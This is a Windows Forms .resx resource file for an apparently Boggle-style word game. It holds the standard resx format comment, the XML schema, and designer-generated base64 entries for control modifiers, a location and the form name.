The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<data name="BogBorder11.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="BogBorder14.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="pnlScore.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuGame.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="$this.SnapToGrid" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAEAQAAAA5TeXN0ZW0uQm9vbGVhbgEAAAAHbV92YWx1ZQABAAs=</value>
</data>
<data name="Label8.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="BogBorder13.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="BogBorder16.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="BogBorder6.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuAbout.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuOptions.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuTmr300.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="Label4.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="Label2.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuNewGame.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuHelp.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="$this.Name" mimetype="application/x-microsoft.net.object.binary.base64">
<value>B2ZybU1haW4=</value>
</data>
<data name="mnuTmr430.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuTmr100.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="Label7.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuLevelEasy.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuTmr30.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="picCubesUp.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="lblHumanScore.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuTips.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuHighScores.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuBoardGameMode.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="tmrContMain.Location" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAFRTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj0xLjAuMzMwMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABRTeXN0ZW0uRHJhd2luZy5Qb2ludAIAAAABeAF5AAAICAIAAAB4AAAADAAAAAs=</value>
</data>
<data name="tmrBtn4.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="lbl14.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="btnScramble.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="pnlCubes.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="lbl4.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="lbl5.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuTmr230.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuTmr400.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="picCubeDown.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="lbl16.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="lstCompFoundWords.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuEndGame.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="lbl7.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="Panel3.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="MenuItem5.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="lblRound.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="MenuItem3.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuEnableTimerFlash.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="BogBorder8.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuTmr330.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="BogBorder9.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="BogBorder10.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="BogBorder4.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
<value>AAEAAAD/////AQAAAAAAAAAMAgAAAExTeXN0ZW0sIFZlcnNpb249MS4wLjMzMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BQEAAAAfU3lzdGVtLkNvZGVEb20uTWVtYmVyQXR0cmlidXRlcwEAAAAHdmFsdWVfXwAIAgAAAAAQAAAL</value>
</data>
<data name="mnuEnableDefSearch.Modifiers" mimetype="application/x-microsoft.net.object.binary.base64">
